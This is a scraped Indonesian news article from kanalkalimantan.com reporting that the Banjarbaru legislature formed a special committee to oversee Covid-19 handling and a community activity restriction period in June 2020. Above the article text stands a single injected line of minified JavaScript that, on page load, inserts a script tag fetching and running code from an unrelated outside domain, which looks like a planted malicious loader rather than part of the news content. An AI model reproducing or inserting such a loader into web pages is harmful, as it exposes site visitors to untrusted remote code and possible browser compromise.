(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) Penanganan Covid-19 yang beranggotakan para anggota legislatif di DPRD Banjarbaru, telah resmi dibentuk.
Mereka akan mengawal serta melakukan pengawasan selama diberlakukannya Pembatasan Kegiatan Masyarakat (PKM) di Kota Banjarbaru, hingga 13 Juni 2020.
Wakil Ketua DPRD Banjarbaru, Nafsiani Samandi, ditunjuk sebagai Ketua, membawahi sembilan anggota DPRD Banjarbaru dari berbagai fraksi yang ikut tergabung dalam struktur Pansus Penanganan Covid-19.
Kepada kanalkalimantan.com Kamis (4/6/2020) siang, Nafsiani mengatakan sebenarnya DPRD melalui komisi di bidang tertentu telah melakukan pendampingan, sejak dibentuknya Tim Gugus Tugas Pencegahan Penanganan (P2) Covid-19 Banjarbaru.
Bedanya, jelas dia, kali ini anggota DPRD yang tergabung dalam Pansus akan lebih leluasa dalam hal pengawasan.
“Kami mempertebal pengawasan kinerja tim Gugus Tugas selama berlangsungnya PKM. Kami mulai coba dengan mengolah sasaran dari pemberlakuan PKM yang tujuannya untuk mendisplinkan prilaku masyarakat dalam beraktivitas,” ujar dia.
Pengawasan anggaran penanganan Covid-19 juga akan dilakukan. Oleh karena itu, Pansus berencana memanggil dinas teknis yang berada dalam sturuktur Tim Gugus Tugas P2 Covid-19 Banjarbaru.
Agar pengawasan efektif selama berlangsungnya pemberlakuan PKM, Nafsiani mengatakan pihaknya telah mengevaluasi kinerja Tim Gugus Tugas saat penerapan Pembatasan Sosial Berskala Besar (PSBB), yang berakhir pada pekan lalu.
Sejumlah poin penting disoroti, salah satunya aspirasi masyarakat yang belum tertampung.
Untuk itu, selama pemberlakuan PKM, pihaknya berencana menyediakan fasilitas berupa kotak aduan. Nantinya, aspriasi masyarakat tersebut ditindaklanjuti oleh Pansus dalam pembahasan bersama tim Gugus Tugas.
“Insya Allah, minggu depan, kotak aduan ini sudah kamj sediakan. Aspirasi masyarakat harus kita dengarkan selama upaya penanganan Covid-19. Bisa jadi ada masyarakat yang ternyata belum mendapatkan bantuan sosial,” kata Nafsiani.
Terbentuknya Pansus Penanganan Covid-19, setelah digelarnya rapat kerja antara Tim Gugus Tugas P2 Covid-19 Banjarbaru dan seluruh anggota legislatif DPRD Banjarbaru.
Ketua DPRD Banjarbaru, Fadliansyah, mengharapkan Pansus Penanganan Covid-19 yang telah dibentuk, akan lebih tajam dalam melaksanakan fungsi pengawasan.
“Pansus yang dibentuk ini akan terus menempel Tim Gugus Tugas. Apapun gerak-gerik Tim Gugus Tugas, baik itu kebijakan yang diambil akan kita terus awasi. Sehingga tujuan pemberlakuan PKM untuk mendisiplinkan aktivitas masyarakat juga bisa tercapai,” katanya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.